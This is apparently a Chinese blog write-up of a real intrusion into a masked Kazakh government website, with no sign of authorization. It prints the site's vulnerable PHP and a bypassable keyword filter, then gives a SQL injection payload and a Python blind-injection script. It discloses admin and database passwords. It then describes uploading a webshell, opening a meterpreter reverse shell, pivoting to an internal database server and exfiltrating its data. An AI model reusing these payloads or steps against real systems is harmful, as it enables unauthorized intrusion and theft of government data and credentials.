Finger
拎着烈酒背着孤独踟蹰的代码狗

目标站点 :马赛克.gov.kz

Ip地址:193.193.马赛克.152

 

子站Cas.马赛克.gov.kz

 

根据我们拿到目标,先做信息收集 :

搜集信息

尽管这个过程非常无聊,但却是非常重要,目标越大越多,漏洞出现的几率就越大。

 

1 技术方面的信息

 

主要使用以下各种方面的信息

 

1)Google

 

搜索到一些相关的站点,可能有价值的网站也会在上面有所记录

 

2)二级域名搜集

 

一般来说,域名大部分都是又第三方公司提供的,需要寻找到其域名的IP范围。当然,有时候会存在DNS域传送漏洞,这样就更好搜集信息了。但是在这个站上面,我们只找到了一个子站 即Cas.马赛克.gov.kz

 

3)Whois查询和反向查询

 

通过各种Whois查询和其ip范围的域名反向查询,可以获得很多其他子域名,但是在查询的时候没有特别的发现其他子域名

 

4)端口扫描和指纹提取

 

在扫描的过程中,该业务的入侵检测系统可能会告警,但是不用担心,整个Inernet都经常会扫描自身。

 

对于扫描来说,Nmap是再合适不过了,它也可以识别各种服务的指纹。但是对于大规模网络来说,zmap和masscan更快速。WhatWeb和BlindElephant 适合抓取web指纹。

 

2 社工信息

 

对于社会工程学来说,搜集员工信息非常重要,包括他们的各自的角色,合约,使用的操作系统,浏览器,插件,软件等。

 

 

 

 

做完前期的工作后,确定目标只有一个主站和一个子站,主站大概浏览了一下,感觉不是很好做,于是就来到子站。

在子站Cas.马赛克.gov.kz中找到了一个文件包含漏洞,

找到了Cas.马赛克.gov.kz/index.php?file=xx.txt这种链接,在file后面加入burpsuite 进行爆破

 

但是由于权限有限制,只能读取文件没有开启远程功能,就不能包含一句话木马进去。

 

爆破出很多个文件的源代码,我们直接读取源代码进行分析,可能会更容易发现漏洞。发现两个有价值的代码;这里简单摘录下:

一是so.php(搜索处代码) 一是antiinject.php(安全配置过滤文件)

So.php

<?php

 

$id=$_POST['soid'];

include
'config.php';

include
'antiinject.php';

include
'antixss.php';

$id=antiinject($id);

$con =
mysql_connect($db_address,$db_user,$db_pass) or die("can’tconn sql!!".mysql_error());

mysql_select_db($db_name,$con);

$id=mysql_real_escape_string($id);

$result=mysql_query("SELECT
* FROM `message` WHERE display=1 AND id=$id");

$rs=mysql_fetch_array($result);

echo
htmlspecialchars($rs['nice']).':<br
/>&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br
/>';

mysql_free_result($result);

mysql_free_result($file);

mysql_close($con);

?>

 

?>

antiinject.php

<?php

function
antiinject($content){

$keyword=array("select","union","and","from",'
',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");

$info=strtolower($content);

for($i=0;$i<=count($keyword);$i++){

 $info=str_replace($keyword[$i], '',$info);

}

return $info;

}

?>

id搜索后出现so.php,存在注入点soid。数据表名为admin 字段名username userpass 
开始注入,利用burpsuit先爆username的内容

file=1/*/aandnd/*/exists(selselectect/*/usernamnamee/*/frfromom/*/admadminin/*/limit
1,1)

判断出username字段长度为5,userpass字段长度为6 
利用脚本爆内容

import requests

url=r'http:// Cas.马赛克.gov.kz/so.php'

header={

    'User-Agent': 'firefox Browser',

}

dic='0123456789abcdefghijklmnopqrstuvwxyz'

string=''

for i in
range(1,6):

    for j in dic:

       
id='1/**/anandd/**/exists(selselectect/**/*/**/frfromom/**/admadminin/**/where/**/oorrd(substr(usernamnamee,{0},1))>{1})'.format(str(i),str(ord(j)))

#只需将username更改为userpass

        data={

            'soid':id

        }

       
s=requests.post(url=url,headers=header,data=data)

        content=s.text

        print 1

        if(len(content)<430):

            string+=j

            break

    print string

 

 

然后就通过注入得到了后台的账号密码,为admin 和 N0p!bi9UJnjFkI@g

 

用此密码进入后台,找到一个后台文件的上传点,代码中对注入和xss进行了过滤,但是没有限制上传的文件格式,只做了js前台限制,我在firefox浏览器的firebug中禁用了javascript就过掉了前端格式过滤。直接传上去小马。至此拿到了webshell。

 

 

在子站Cas.马赛克.gov.kz的数据库中,找了一个记录了服务器数据库配置的表,表名为cas_config,在里面找了一个内网数据库服务器的地址,

 

define('DB_NAME', 'xxxxxx');

 

/** MySQL database
username */

 

define('DB_USER', 'xxxxxx');

 

/** MySQL database
password */

 

define('DB_PASSWORD',
'1qaz2wsxtn');

 

/** MySQL hostname
*/

 

define('DB_HOST', '10.0.0.23');

 

 

10.0.0.23 明显属于内网地址,我们因此判断存在内网数据库服务器和此站做了标准的站库分离。

 

我们尝试在小马中连接这个服务器的数据库,但是发现失败了,后经ping 和tracert路由追踪命令得知两台服务器之间是不能ping通的,

查看了已经拿下此台服务器,内网的ip段有三个,分别是 10.0.10.x ;10.0.0.x;192.168.0.1,我们由此判断:192.168.0.1是路由或者交换机所在的ip,这个段无需测试。

需要做的路由转发,以便于流量能到目标数据服务器。

 

我们就通过小马传入metasploit生成的大马,反弹一个meterpreter并成功提权;

 

在meterpreter中输入run autoroute -s 10.0.0.0/24

 

再用portfwd做了路由转发后,使用已有的mysql地址账号密码通过3306登陆了10.0.0.23目标数据服务器。

 

在这台10.0.0.23的mysql数据服务器中,发现了我们目标主站马赛克.gov.kz的数据库也在这台服务器上。

备份数据,传输回到我们代理机器中。DNS传输

至此,完成此次渗透。

这篇文章有人发言喽~

  1. 文字记录而已,首发于圈子

    finger 扁担w

    2017/10/18

    @Ta
    #1

发表评论